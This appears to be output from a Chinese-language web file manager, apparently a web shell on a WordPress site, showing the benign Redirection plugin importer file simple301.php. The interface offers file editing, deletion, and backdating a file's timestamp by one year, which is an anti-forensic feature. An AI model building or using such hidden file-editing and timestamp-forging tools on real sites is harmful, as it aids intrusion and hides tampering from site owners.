文件操作 - simple301.php
返回文件管理
返回主菜单
删除本文件
文件: /storage/v12552/steemteam/public_html/wp-content/plugins/redirection/models/importer/simple301.php
编辑文件内容
<?php /** * @phpstan-import-type ImporterInfo from Red_Plugin_Importer */ class Red_Simple301_Importer extends Red_Plugin_Importer { /** * Import redirects from Simple 301 Redirects. * * @param int $group_id Target group ID. * @return int Number of imported redirects. */ public function import_plugin( $group_id ) { $redirects = get_option( '301_redirects' ); $count = 0; foreach ( $redirects as $source => $target ) { $item = $this->create_for_item( $group_id, $source, $target ); if ( $item instanceof Red_Item ) { $count++; } } return $count; } /** * Create a Redirection item for a given source/target pair. * * @param int $group_id Target group ID. * @param string $source Source pattern from Simple 301. * @param string $target Target URL from Simple 301. * @return Red_Item|WP_Error Created redirect or error. */ private function create_for_item( $group_id, $source, $target ) { $item = array( 'url' => str_replace( '*', '(.*?)', $source ), 'action_data' => array( 'url' => str_replace( '*', '$1', trim( $target ) ) ), 'regex' => strpos( $source, '*' ) === false ? false : true, 'group_id' => $group_id, 'match_type' => 'url', 'action_type' => 'url', 'action_code' => 301, ); return Red_Item::create( $item ); } /** * Get importer summary for Simple 301 Redirects. * * @return ImporterInfo|false */ public function get_data() { $data = get_option( '301_redirects' ); if ( $data !== false ) { return array( 'id' => 'wp-simple-redirect', 'name' => 'Simple 301 Redirects', 'total' => count( $data ), ); } return false; } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件